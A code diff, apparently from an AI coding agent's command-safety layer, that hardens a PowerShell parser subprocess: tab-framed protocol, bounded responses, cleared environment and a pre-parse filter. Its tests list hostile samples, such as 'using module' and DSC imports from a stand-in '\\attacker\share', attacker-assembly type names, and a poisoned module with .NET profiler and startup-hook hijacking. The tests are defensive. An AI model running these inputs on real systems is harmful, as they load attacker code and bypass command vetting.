param($Response)
$stdout.WriteLine(($Response | ConvertTo-Json -Compress -Depth 3))
$requestId = [uint64]$Response.id
$status = [string]$Response.status
$payload = ''
if ($status -eq 'ok') {
try {
$payload = Convert-CommandsToPayload $Response.commands
} catch {
$status = 'parse_failed'
}
}
$stdout.WriteLine(([string]$requestId + "`t" + $status + "`t" + $payload))
}
function Convert-CommandElement {
@@ -248,25 +288,21 @@ function Add-CommandsFromPipelineBase {
}
# This script stays alive so the Rust caller can amortize PowerShell startup across
# many parse requests. Each request and response is one compact JSON line.
# many parse requests. Each request and response is one framed line.
while (($requestLine = $stdin.ReadLine()) -ne $null) {
$request = $null
try {
$request = $requestLine | ConvertFrom-Json
} catch {
Write-Response @{ id = $null; status = 'parse_failed' }
$requestParts = $requestLine.Split([char]9)
$requestId = [uint64]0
if (
$requestParts.Count -ne 2 -or
-not [uint64]::TryParse($requestParts[0], [ref]$requestId)
) {
Write-Response @{ id = 0; status = 'parse_failed' }
continue
}
# We process requests serially, but still echo the id back so the Rust side can
# detect protocol desyncs instead of silently trusting mixed stdout.
$requestId = $request.id
$payload = $request.payload
if ([string]::IsNullOrEmpty($payload)) {
Write-Response @{ id = $requestId; status = 'parse_failed' }
continue
}
$payload = $requestParts[1]
try {
$source =
[System.Text.Encoding]::Unicode.GetString(

View File

@@ -2,8 +2,6 @@ use base64::Engine;
use base64::engine::general_purpose::STANDARD as BASE64_STANDARD;
#[cfg(windows)]
use codex_utils_absolute_path::AbsolutePathBuf;
use serde::Deserialize;
use serde::Serialize;
use std::collections::HashMap;
#[cfg(windows)]
use std::ffi::OsString;
@@ -22,7 +20,10 @@ use std::sync::LazyLock;
use std::sync::Mutex;
use std::sync::PoisonError;
use super::powershell_preparse::requires_preparse_rejection;
const POWERSHELL_PARSER_SCRIPT: &str = include_str!("powershell_parser.ps1");
const MAX_POWERSHELL_RESPONSE_LINE_BYTES: usize = 8 * 1024 * 1024;
#[cfg(any(test, windows))]
const WINDOWS_POWERSHELL_SUFFIX: &str = r"WindowsPowerShell\v1.0\powershell.exe";
#[cfg(any(test, windows))]
@@ -66,10 +67,10 @@ pub(crate) enum TrustedPowerShellFlavor {
/// Unlike [`try_parse_powershell_ast_commands`], parser selection here is independent of a
/// runtime command's executable spelling. This lets callers inspect an untrusted runtime wrapper
/// without ever spawning that wrapper before approval.
pub(crate) fn try_parse_powershell_ast_commands_with_trusted_flavor(
pub(crate) fn parse_powershell_ast_commands_with_trusted_flavor(
flavor: TrustedPowerShellFlavor,
script: &str,
) -> Option<Vec<Vec<String>>> {
) -> PowershellParseOutcome {
#[cfg(windows)]
{
let parser_executable = match flavor {
@@ -81,17 +82,17 @@ pub(crate) fn try_parse_powershell_ast_commands_with_trusted_flavor(
TrustedPowerShellRoot::ProgramFiles,
WINDOWS_PWSH_SUFFIX,
),
}?;
match parse_with_powershell_ast(&parser_executable, script) {
PowershellParseOutcome::Commands(commands) => Some(commands),
PowershellParseOutcome::Unsupported | PowershellParseOutcome::Failed => None,
}
};
let Some(parser_executable) = parser_executable else {
return PowershellParseOutcome::Failed;
};
parse_with_powershell_ast(&parser_executable, script)
}
#[cfg(not(windows))]
{
let _ = (flavor, script);
None
PowershellParseOutcome::Failed
}
}
@@ -272,8 +273,8 @@ fn trusted_windows_root(root: TrustedPowerShellRoot) -> std::io::Result<PathBuf>
Ok(path)
}
#[derive(Debug, PartialEq, Eq)]
pub(super) enum PowershellParseOutcome {
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) enum PowershellParseOutcome {
Commands(Vec<Vec<String>>),
Unsupported,
Failed,
@@ -341,7 +342,14 @@ struct PowershellParserProcess {
impl PowershellParserProcess {
fn spawn(executable: &Path) -> std::io::Result<Self> {
let mut child = Command::new(executable)
let mut command = Command::new(executable);
Self::spawn_command(executable, &mut command)
}
fn spawn_command(_executable: &Path, command: &mut Command) -> std::io::Result<Self> {
#[cfg(windows)]
configure_trusted_parser_environment(_executable, command)?;
let mut child = command
.args([
"-NoLogo",
"-NoProfile",
@@ -376,23 +384,24 @@ impl PowershellParserProcess {
}
fn parse(&mut self, script: &str) -> std::io::Result<PowershellParseOutcome> {
// PowerShell performs semantic work after parsing, including module and DSC discovery.
// Reject those language forms before sending attacker-controlled source to ParseInput.
if requires_preparse_rejection(script) {
return Ok(PowershellParseOutcome::Unsupported);
}
let request = PowershellParserRequest {
id: self.next_request_id,
payload: encode_powershell_base64(script),
};
self.next_request_id = self.next_request_id.wrapping_add(1);
let mut request_json = serialize_request(&request)?;
request_json.push('\n');
self.stdin.write_all(request_json.as_bytes())?;
let mut request_line = serialize_request(&request)?;
request_line.push('\n');
self.stdin.write_all(request_line.as_bytes())?;
self.stdin.flush()?;
let mut response_line = String::new();
if self.stdout.read_line(&mut response_line)? == 0 {
return Err(std::io::Error::new(
ErrorKind::UnexpectedEof,
"PowerShell parser closed stdout",
));
}
let response_line =
read_bounded_response_line(&mut self.stdout, MAX_POWERSHELL_RESPONSE_LINE_BYTES)?;
let response = deserialize_response(&response_line)?;
// Requests are serialized today; the id still catches protocol desyncs if stdout is
@@ -412,6 +421,68 @@ impl PowershellParserProcess {
}
}
#[cfg(windows)]
fn configure_trusted_parser_environment(
executable: &Path,
command: &mut Command,
) -> std::io::Result<()> {
let parser_home = executable.parent().ok_or_else(|| {
std::io::Error::new(
ErrorKind::InvalidInput,
"trusted PowerShell parser has no parent directory",
)
})?;
let parser_home = canonicalize_trusted_windows_path(parser_home)?;
let system_dir = trusted_windows_root(TrustedPowerShellRoot::System)?;
let system_dir = canonicalize_trusted_windows_path(&system_dir)?;
let windows_dir = system_dir.parent().ok_or_else(|| {
std::io::Error::new(
ErrorKind::InvalidInput,
"Windows System known folder has no parent directory",
)
})?;
command
.env_clear()
.env("SystemRoot", windows_dir)
.env("WINDIR", windows_dir)
.env("PSModulePath", "")
.env("POWERSHELL_TELEMETRY_OPTOUT", "1")
.env("POWERSHELL_UPDATECHECK", "Off")
.current_dir(parser_home);
Ok(())
}
fn read_bounded_response_line(
reader: &mut impl BufRead,
max_bytes: usize,
) -> std::io::Result<String> {
let mut line = String::new();
let limit = u64::try_from(max_bytes)
.map_err(|_| invalid_response("response limit does not fit in u64"))?
.saturating_add(1);
let mut limited = std::io::Read::take(reader, limit);
let bytes_read = limited.read_line(&mut line)?;
if bytes_read == 0 {
return Err(std::io::Error::new(
ErrorKind::UnexpectedEof,
"PowerShell parser closed stdout",
));
}
if bytes_read > max_bytes {
return Err(invalid_response(
"PowerShell parser response exceeded the limit",
));
}
if !line.ends_with('\n') {
return Err(std::io::Error::new(
ErrorKind::UnexpectedEof,
"PowerShell parser response was not newline-terminated",
));
}
Ok(line)
}
impl Drop for PowershellParserProcess {
fn drop(&mut self) {
kill_child(&mut self.child);
@@ -437,37 +508,113 @@ fn take_child_stdout(child: &mut Child) -> std::io::Result<BufReader<ChildStdout
}
fn serialize_request(request: &PowershellParserRequest) -> std::io::Result<String> {
serde_json::to_string(request).map_err(|error| {
std::io::Error::new(
if request.payload.contains(['\t', '\r', '\n']) {
return Err(std::io::Error::new(
ErrorKind::InvalidData,
format!("failed to serialize PowerShell parser request: {error}"),
)
})
"PowerShell parser request payload contains a framing delimiter",
));
}
Ok(format!("{}\t{}", request.id, request.payload))
}
fn deserialize_response(response_line: &str) -> std::io::Result<PowershellParserResponse> {
serde_json::from_str(response_line).map_err(|error| {
std::io::Error::new(
ErrorKind::InvalidData,
format!("failed to parse PowerShell parser response: {error}"),
)
let response_line = response_line.trim_end_matches(['\r', '\n']);
let mut fields = response_line.splitn(3, '\t');
let id = fields
.next()
.ok_or_else(|| invalid_response("missing request id"))?
.parse::<u64>()
.map_err(|_| invalid_response("invalid request id"))?;
let status = fields
.next()
.ok_or_else(|| invalid_response("missing status"))?
.to_string();
let payload = fields
.next()
.ok_or_else(|| invalid_response("missing payload"))?;
let commands = if status == "ok" {
Some(decode_commands_payload(payload)?)
} else {
if !payload.is_empty() {
return Err(invalid_response("non-ok response contains a payload"));
}
None
};
Ok(PowershellParserResponse {
id,
status,
commands,
})
}
#[derive(Serialize)]
struct PowershellParserRequest {
id: u64,
payload: String,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
#[derive(Debug, PartialEq, Eq)]
struct PowershellParserResponse {
id: u64,
status: String,
commands: Option<Vec<Vec<String>>>,
}
fn decode_commands_payload(payload: &str) -> std::io::Result<Vec<Vec<String>>> {
let bytes = BASE64_STANDARD
.decode(payload)
.map_err(|_| invalid_response("commands payload is not valid base64"))?;
let mut offset = 0usize;
let command_count = read_payload_u32(&bytes, &mut offset)?;
let command_count = usize::try_from(command_count)
.map_err(|_| invalid_response("command count does not fit in usize"))?;
let mut commands = Vec::with_capacity(command_count.min(bytes.len()));
for _ in 0..command_count {
let word_count = read_payload_u32(&bytes, &mut offset)?;
let word_count = usize::try_from(word_count)
.map_err(|_| invalid_response("word count does not fit in usize"))?;
let mut command = Vec::with_capacity(word_count.min(bytes.len()));
for _ in 0..word_count {
let word_len = read_payload_u32(&bytes, &mut offset)?;
let word_len = usize::try_from(word_len)
.map_err(|_| invalid_response("word length does not fit in usize"))?;
let word_end = offset
.checked_add(word_len)
.filter(|end| *end <= bytes.len())
.ok_or_else(|| invalid_response("word extends beyond commands payload"))?;
let word = std::str::from_utf8(&bytes[offset..word_end])
.map_err(|_| invalid_response("command word is not valid UTF-8"))?;
command.push(word.to_string());
offset = word_end;
}
commands.push(command);
}
if offset != bytes.len() {
return Err(invalid_response("commands payload has trailing data"));
}
Ok(commands)
}
fn read_payload_u32(bytes: &[u8], offset: &mut usize) -> std::io::Result<u32> {
let end = offset
.checked_add(4)
.filter(|end| *end <= bytes.len())
.ok_or_else(|| invalid_response("commands payload ended before a length field"))?;
let value = u32::from_le_bytes(
bytes[*offset..end]
.try_into()
.map_err(|_| invalid_response("invalid length field"))?,
);
*offset = end;
Ok(value)
}
fn invalid_response(message: &str) -> std::io::Error {
std::io::Error::new(ErrorKind::InvalidData, message)
}
impl PowershellParserResponse {
fn into_outcome(self) -> PowershellParseOutcome {
match self.status.as_str() {
@@ -487,6 +634,10 @@ impl PowershellParserResponse {
}
}
#[cfg(test)]
#[path = "powershell_parser_response_tests.rs"]
mod response_tests;
fn kill_child(child: &mut Child) {
let _ = child.kill();
let _ = child.wait();
@@ -501,6 +652,10 @@ mod tests {
use super::*;
use pretty_assertions::assert_eq;
fn words(items: &[&str]) -> Vec<String> {
items.iter().map(ToString::to_string).collect()
}
#[test]
fn production_resolver_handles_multiple_windows_powershell_requests() {
let Some(powershell) = trusted_windows_powershell_invocation_path() else {
@@ -609,6 +764,147 @@ mod tests {
assert_eq!(parsed, PowershellParseOutcome::Unsupported);
}
#[test]
fn parser_process_rejects_preparse_and_script_requirement_forms() {
let powershell = trusted_windows_powershell_parser();
let mut parser = PowershellParserProcess::spawn(&powershell).unwrap();
for script in [
"#Requires -Modules CodexProbe\nGet-Content Cargo.toml",
"Get-Content Cargo.toml\n#Requires -Modules C:\\workspace\\CodexProbe.psm1",
"#Requires -Modules C:\\workspace\\CodexProbe.psd1\nGet-Content Cargo.toml",
r#"#Requires -Modules @{ ModuleName = "CodexProbe"; ModuleVersion = "1.0" }
Get-Content Cargo.toml"#,
"#Requires -Version 5.1\nGet-Content Cargo.toml",
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
] {
assert_eq!(
parser.parse(script).unwrap(),
PowershellParseOutcome::Unsupported,
"pre-parser construct must be unsupported: {script:?}",
);
}
}
#[test]
fn parser_process_never_sends_assembly_qualified_types_to_sma() {
let powershell = trusted_windows_powershell_parser();
let mut parser = PowershellParserProcess::spawn(&powershell).unwrap();
for source in [
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //attacker/share/Evil]",
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
"[Codex.DoesNotExist <# ] #>, C:/workspace/Codex.AttackerAssembly]",
] {
let next_request_id = parser.next_request_id;
assert_eq!(
parser.parse(source).unwrap(),
PowershellParseOutcome::Unsupported,
);
assert_eq!(
parser.next_request_id, next_request_id,
"assembly-qualified type reached the parser child: {source:?}",
);
}
}
#[test]
fn parser_process_isolates_inherited_environment_and_module_search() {
let temp = tempfile::tempdir().unwrap();
let marker = temp.path().join("autoload-marker");
let marker_for_powershell = marker.to_string_lossy().replace('\'', "''");
let module_dir = temp
.path()
.join("Modules")
.join("Microsoft.PowerShell.Utility");
std::fs::create_dir_all(&module_dir).unwrap();
std::fs::write(
module_dir.join("Microsoft.PowerShell.Utility.psd1"),
r#"@{
RootModule = 'Microsoft.PowerShell.Utility.psm1'
ModuleVersion = '1.0.0'
GUID = '4ce19c99-2640-4f33-94e1-b7f1dc95306e'
FunctionsToExport = @('ConvertFrom-Json', 'ConvertTo-Json')
}"#,
)
.unwrap();
std::fs::write(
module_dir.join("Microsoft.PowerShell.Utility.psm1"),
r#"[System.IO.File]::WriteAllText('__MARKER__', 'autoloaded')
function ConvertFrom-Json { process { @{ id = 0; payload = '' } } }
function ConvertTo-Json { process { 'poisoned' } }
"#
.replace("__MARKER__", &marker_for_powershell),
)
.unwrap();
let mut executables = vec![trusted_windows_powershell_parser()];
if let Some(pwsh) = trusted_standard_pwsh_invocation_path() {
executables.push(pwsh);
}
for (index, executable) in executables.into_iter().enumerate() {
let mut command = Command::new(&executable);
command.env("PSModulePath", temp.path().join("Modules"));
for name in [
"DOTNET_STARTUP_HOOKS",
"DOTNET_ADDITIONAL_DEPS",
"DOTNET_SHARED_STORE",
"DOTNET_ROOT",
"CORECLR_PROFILER_PATH",
"COR_PROFILER_PATH",
"PATH",
"HOME",
"USERPROFILE",
"APPDATA",
"LOCALAPPDATA",
] {
command.env(name, temp.path());
}
command
.env("CORECLR_ENABLE_PROFILING", "1")
.env("CORECLR_PROFILER", "{4CE19C99-2640-4F33-94E1-B7F1DC95306E}")
.env("COR_ENABLE_PROFILING", "1")
.env("COR_PROFILER", "{4CE19C99-2640-4F33-94E1-B7F1DC95306E}")
.env("COMPlus_ReadyToRun", "0")
.current_dir(temp.path());
let mut parser =
PowershellParserProcess::spawn_command(&executable, &mut command).unwrap();
for (script, expected) in [
(
"# ordinary comment\nGet-Content Cargo.toml",
PowershellParseOutcome::Commands(vec![words(&["Get-Content", "Cargo.toml"])]),
),
(
"Write-Output 'fóó'; Measure-Object",
PowershellParseOutcome::Commands(vec![
words(&["Write-Output", "fóó"]),
words(&["Measure-Object"]),
]),
),
("", PowershellParseOutcome::Unsupported),
(
"Get-Content repeated.txt",
PowershellParseOutcome::Commands(vec![words(&["Get-Content", "repeated.txt"])]),
),
] {
assert_eq!(
parser.parse(script).unwrap(),
expected,
"protected parser {executable:?} request {index} must work in isolation",
);
}
assert!(
!marker.exists(),
"protected parser {executable:?} loaded user-controlled startup code",
);
}
}
#[test]
fn parser_process_rejects_trap_blocks() {
let powershell = trusted_windows_powershell_parser();

View File

@@ -0,0 +1,121 @@
use super::*;
use pretty_assertions::assert_eq;
fn encode_commands(commands: &[&[&str]]) -> String {
let mut bytes = Vec::new();
bytes.extend_from_slice(&u32::try_from(commands.len()).unwrap().to_le_bytes());
for command in commands {
bytes.extend_from_slice(&u32::try_from(command.len()).unwrap().to_le_bytes());
for word in *command {
bytes.extend_from_slice(&u32::try_from(word.len()).unwrap().to_le_bytes());
bytes.extend_from_slice(word.as_bytes());
}
}
BASE64_STANDARD.encode(bytes)
}
#[test]
fn framed_protocol_preserves_ids_and_command_words() {
for (id, payload, expected) in [
(
42,
"RwBlAHQALQBDAG8AbgB0AGUAbgB0AA==",
"42\tRwBlAHQALQBDAG8AbgB0AGUAbgB0AA==",
),
(43, "", "43\t"),
] {
assert_eq!(
serialize_request(&PowershellParserRequest {
id,
payload: payload.into()
})
.unwrap(),
expected,
);
}
let payload = encode_commands(&[&["Get-Content", "fóó.txt"], &["Measure-Object"]]);
assert_eq!(
deserialize_response(&format!("42\tok\t{payload}\r\n")).unwrap(),
PowershellParserResponse {
id: 42,
status: "ok".into(),
commands: Some(vec![
["Get-Content", "fóó.txt"].map(str::to_string).to_vec(),
vec!["Measure-Object".into()],
]),
},
);
}
#[test]
fn framed_protocol_rejects_malformed_command_payloads() {
let encode = |bytes| format!("1\tok\t{}", BASE64_STANDARD.encode(bytes));
for response in [
"missing-fields".into(),
"1\tok".into(),
"x\tunsupported\t".into(),
"1\tunsupported\tnot-empty".into(),
"1\tunsupported\t\textra".into(),
"1\tok\tnot-base64!".into(),
encode(vec![1, 0, 0]),
encode(vec![u8::MAX; 4]),
encode(vec![1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, u8::MAX]),
encode(vec![1, 0, 0, 0, 1, 0, 0, 0, 255, 255, 255, 255]),
encode(vec![0, 0, 0, 0, u8::MAX]),
] {
assert!(
deserialize_response(&response).is_err(),
"accepted {response:?}"
);
}
assert!(
serialize_request(&PowershellParserRequest {
id: 1,
payload: "bad\tpayload".into(),
})
.is_err()
);
}
#[test]
fn framed_protocol_bounds_lines_and_distinguishes_outcomes() {
let mut complete = std::io::Cursor::new(b"1\tunsupported\t\n".as_slice());
assert_eq!(
read_bounded_response_line(&mut complete, /*max_bytes*/ 32).unwrap(),
"1\tunsupported\t\n"
);
for bytes in [b"123456789\n".as_slice(), b"unterminated".as_slice()] {
assert!(
read_bounded_response_line(&mut std::io::Cursor::new(bytes), /*max_bytes*/ 8,).is_err()
);
}
for (status, commands, expected) in [
("unsupported", None, PowershellParseOutcome::Unsupported),
("ok", Some(Vec::new()), PowershellParseOutcome::Unsupported),
(
"ok",
Some(vec![Vec::new()]),
PowershellParseOutcome::Unsupported,
),
(
"ok",
Some(vec![vec![String::new()]]),
PowershellParseOutcome::Unsupported,
),
("parse_failed", None, PowershellParseOutcome::Failed),
("parse_errors", None, PowershellParseOutcome::Failed),
("unknown", None, PowershellParseOutcome::Failed),
] {
assert_eq!(
PowershellParserResponse {
id: 0,
status: status.into(),
commands
}
.into_outcome(),
expected,
);
}
}

View File

@@ -0,0 +1,40 @@
/// Returns whether a PowerShell source must be rejected before calling `Parser::ParseInput`.
///
/// `ParseInput` is not a side-effect-free syntax parser. Its semantic passes can resolve `using`
/// directives, initialize DSC configuration keywords, and resolve assembly-qualified type names,
/// any of which may inspect or load a source-selected path. Keep the pre-parser deliberately
/// coarse and auditable: suspicious raw forms are handled by the outer-command policy without
/// sending the source to System.Management.Automation.
pub(super) fn requires_preparse_rejection(source: &str) -> bool {
source.contains('`')
|| contains_bracket_before_later_comma(source)
|| ["using", "configuration", "import-dscresource"]
.into_iter()
.any(|keyword| contains_ignore_ascii_case(source, keyword))
}
/// Assembly-qualified PowerShell type syntax contains `[` before a later `,`. Once an opening
/// bracket is seen, deliberately never reset on `]`: comments and strings can contain a closing
/// bracket before the real assembly delimiter, while `ParseInput` still resolves the assembly.
fn contains_bracket_before_later_comma(source: &str) -> bool {
let mut saw_bracket = false;
for byte in source.bytes() {
match byte {
b'[' => saw_bracket = true,
b',' if saw_bracket => return true,
_ => {}
}
}
false
}
fn contains_ignore_ascii_case(source: &str, needle: &str) -> bool {
source
.as_bytes()
.windows(needle.len())
.any(|window| window.eq_ignore_ascii_case(needle.as_bytes()))
}
#[cfg(test)]
#[path = "powershell_preparse_tests.rs"]
mod tests;

View File

@@ -0,0 +1,62 @@
use super::requires_preparse_rejection;
#[test]
fn rejects_every_possible_parse_time_construct_before_semantic_parsing() {
for source in [
r"using module '\\attacker\share\Evil.psd1'",
r"using module .\workspace\Evil.psd1",
"UsInG <# formatting #>\n MoDuLe '\\\\attacker\\share\\Evil.psd1'",
r"configuration CodexProbe { Import-DscResource -ModuleName '\\attacker\share\Evil.psd1' }",
r"[DscLocalConfigurationManager()] CoNfIgUrAtIoN CodexProbe {
ImPoRt-DsCrEsOuRcE -ModuleName '\\attacker\share\Evil.psd1'
}",
r"$value=1,using module '\\attacker\share\Evil.psd1'",
r"$value[using module '\\attacker\share\Evil.psd1'",
r"$value..configuration CodexProbe { Import-DscResource }",
"$$using module Foo",
"u`sing module Foo",
"configura`tion CodexProbe {}",
"Get-Content `\n Cargo.toml",
"Write-Output x` #; configuration CodexProbe {}",
"# using module Foo\nGet-Content Cargo.toml",
"<# configuration CodexProbe {} #>\nGet-Content Cargo.toml",
r"Write-Output 'using module Foo'",
r#"Write-Output "configuration CodexProbe {}""#,
r"Get-Content C:\configuration\using\file.txt",
"[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //tmp/Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //attacker/share/Evil]",
"[Codex.DoesNotExist <# ] #>, /tmp/Codex.AttackerAssembly]",
"[Codex.DoesNotExist\n,\n/tmp/Codex.AttackerAssembly]",
"[System.Collections.Generic.Dictionary[string, Codex.DoesNotExist]]",
"[System.Collections.Generic.List[[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]]]",
"[Codex.DoesNotExistAttribute, Codex.AttackerAssembly()] class C {}",
"[Codex.DoesNotExistAttribute <# ] #>, /tmp/Codex.AttackerAssembly()] class C {}",
"Write-Output '[not a type]'; Write-Output a,b",
"# [ inert\nWrite-Output a,b",
] {
assert!(requires_preparse_rejection(source), "accepted {source:?}");
}
}
#[test]
fn allows_sources_without_raw_semantic_keywords() {
for source in [
"# ordinary comment\nGet-Content Cargo.toml",
r#"Write-Output "ordinary string""#,
r#"confi"guration" CodexProbe {}"#,
"u'sing' module Foo",
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
"[System.String]::Empty",
"$items[0]",
"Write-Output 1,2; [System.String]::Empty",
"Write-Output '[not a type]'",
"[Codex.DoesNotExist /tmp/Codex.AttackerAssembly]",
"[Codex.DoesNotExist، /tmp/Codex.AttackerAssembly]",
] {
assert!(!requires_preparse_rejection(source), "rejected {source:?}");
}
}

View File

@@ -470,6 +470,23 @@ mod tests {
])));
}
#[test]
fn rejects_script_requirements_before_safe_inner_commands() {
assert!(!is_safe_command_windows(&vec_str(&[
windows_powershell_exe(),
"-NoProfile",
"-Command",
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
])));
assert!(is_safe_command_windows(&vec_str(&[
windows_powershell_exe(),
"-NoProfile",
"-Command",
"# ordinary comment\nGet-Content Cargo.toml",
])));
}
#[test]
fn rejects_powershell_named_blocks() {
assert!(!is_safe_command_windows(&vec_str(&[
@@ -481,13 +498,22 @@ mod tests {
}
#[test]
fn rejects_powershell_using_statements() {
assert!(!is_safe_command_windows(&vec_str(&[
windows_powershell_exe(),
"-NoProfile",
"-Command",
"using module ./codex_poc.psm1\nGet-Content Cargo.toml",
])));
fn rejects_powershell_parse_time_side_effects() {
for script in [
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //attacker/share/Evil]",
] {
assert!(!is_safe_command_windows(&vec_str(&[
windows_powershell_exe(),
"-NoProfile",
"-Command",
script,
])));
}
}
#[test]

View File

@@ -1,9 +1,10 @@
use codex_utils_absolute_path::AbsolutePathBuf;
use crate::command_safety::PowershellParseOutcome;
use crate::command_safety::TrustedPowerShellFlavor;
use crate::command_safety::is_trusted_powershell_parser_executable;
use crate::command_safety::parse_powershell_ast_commands_with_trusted_flavor;
use crate::command_safety::try_parse_powershell_ast_commands;
use crate::command_safety::try_parse_powershell_ast_commands_with_trusted_flavor;
const POWERSHELL_FLAGS: &[&str] = &["-nologo", "-noprofile", "-command", "-c"];
@@ -90,9 +91,23 @@ pub enum PowerShellFlavor {
#[derive(Clone, Debug, Eq, PartialEq)]
pub enum PowerShellExecPolicyParse {
/// The runtime wrapper is the same protected executable used for parsing.
TrustedRuntime { commands: Option<Vec<Vec<String>>> },
TrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome,
},
/// A protected parser inspected the body, but the runtime wrapper remains untrusted.
UntrustedRuntime { commands: Option<Vec<Vec<String>>> },
UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome,
},
}
#[derive(Clone, Debug, Eq, PartialEq)]
pub enum PowerShellExecPolicyParseOutcome {
/// The protected parser safely lowered the script into argv-like commands.
Commands(Vec<Vec<String>>),
/// The script or wrapper is valid but outside the safe lowering subset.
Unsupported,
/// The protected parser could not return an authoritative result.
Failed,
}
/// Inspects a PowerShell wrapper without spawning its model-selected runtime.
@@ -101,12 +116,13 @@ pub fn parse_powershell_command_for_exec_policy(
) -> Option<PowerShellExecPolicyParse> {
let executable = command.first()?;
let flavor = powershell_flavor_for_executable(executable)?;
let commands = extract_powershell_command(command)
.and_then(|(_, script)| parse_powershell_script_with_trusted_parser(flavor, script));
let outcome = extract_powershell_command(command)
.map(|(_, script)| parse_powershell_script_with_trusted_parser_outcome(flavor, script))
.unwrap_or(PowerShellExecPolicyParseOutcome::Unsupported);
if is_trusted_powershell_parser_executable(executable) {
Some(PowerShellExecPolicyParse::TrustedRuntime { commands })
Some(PowerShellExecPolicyParse::TrustedRuntime { outcome })
} else {
Some(PowerShellExecPolicyParse::UntrustedRuntime { commands })
Some(PowerShellExecPolicyParse::UntrustedRuntime { outcome })
}
}
@@ -139,11 +155,28 @@ pub fn parse_powershell_script_with_trusted_parser(
flavor: PowerShellFlavor,
script: &str,
) -> Option<Vec<Vec<String>>> {
match parse_powershell_script_with_trusted_parser_outcome(flavor, script) {
PowerShellExecPolicyParseOutcome::Commands(commands) => Some(commands),
PowerShellExecPolicyParseOutcome::Unsupported
| PowerShellExecPolicyParseOutcome::Failed => None,
}
}
fn parse_powershell_script_with_trusted_parser_outcome(
flavor: PowerShellFlavor,
script: &str,
) -> PowerShellExecPolicyParseOutcome {
let trusted_flavor = match flavor {
PowerShellFlavor::WindowsPowerShell => TrustedPowerShellFlavor::WindowsPowerShell,
PowerShellFlavor::PowerShell7 => TrustedPowerShellFlavor::PowerShell7,
};
try_parse_powershell_ast_commands_with_trusted_flavor(trusted_flavor, script)
match parse_powershell_ast_commands_with_trusted_flavor(trusted_flavor, script) {
PowershellParseOutcome::Commands(commands) => {
PowerShellExecPolicyParseOutcome::Commands(commands)
}
PowershellParseOutcome::Unsupported => PowerShellExecPolicyParseOutcome::Unsupported,
PowershellParseOutcome::Failed => PowerShellExecPolicyParseOutcome::Failed,
}
}
/// This function attempts to find a powershell.exe executable on the system.
@@ -219,6 +252,8 @@ mod tests {
#[cfg(windows)]
use super::PowerShellExecPolicyParse;
#[cfg(windows)]
use super::PowerShellExecPolicyParseOutcome;
#[cfg(windows)]
use super::PowerShellFlavor;
use super::UTF8_OUTPUT_PREFIX;
use super::extract_powershell_command;
@@ -397,7 +432,10 @@ mod tests {
Some(PowerShellFlavor::PowerShell7)
);
let trusted = trusted_windows_powershell_executable();
let parsed = Some(vec![vec!["echo".to_string(), "classified".to_string()]]);
let parsed = PowerShellExecPolicyParseOutcome::Commands(vec![vec![
"echo".to_string(),
"classified".to_string(),
]]);
let cases = [
(trusted, true),
("powershell.exe".to_string(), false),
@@ -420,11 +458,11 @@ mod tests {
]);
let expected = if trusted {
PowerShellExecPolicyParse::TrustedRuntime {
commands: parsed.clone(),
outcome: parsed.clone(),
}
} else {
PowerShellExecPolicyParse::UntrustedRuntime {
commands: parsed.clone(),
outcome: parsed.clone(),
}
};
assert_eq!(result, Some(expected), "runtime {executable:?}");
@@ -445,7 +483,9 @@ mod tests {
"-Command".to_string(),
"echo launchable".to_string(),
]),
Some(PowerShellExecPolicyParse::UntrustedRuntime { commands: Some(_) })
Some(PowerShellExecPolicyParse::UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Commands(_)
})
));
}
}
@@ -464,18 +504,24 @@ mod tests {
&trusted_windows_powershell_executable(),
&["-Command", "param([string]$path) echo blocked"],
),
PowerShellExecPolicyParse::TrustedRuntime { commands: None },
PowerShellExecPolicyParse::TrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
},
),
(
command(
"powershell.exe",
&["-NonInteractive", "-Command", "echo blocked"],
),
PowerShellExecPolicyParse::UntrustedRuntime { commands: None },
PowerShellExecPolicyParse::UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
},
),
(
command("powershell.exe", &["-Command", "echo blocked", "trailing"]),
PowerShellExecPolicyParse::UntrustedRuntime { commands: None },
PowerShellExecPolicyParse::UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
},
),
];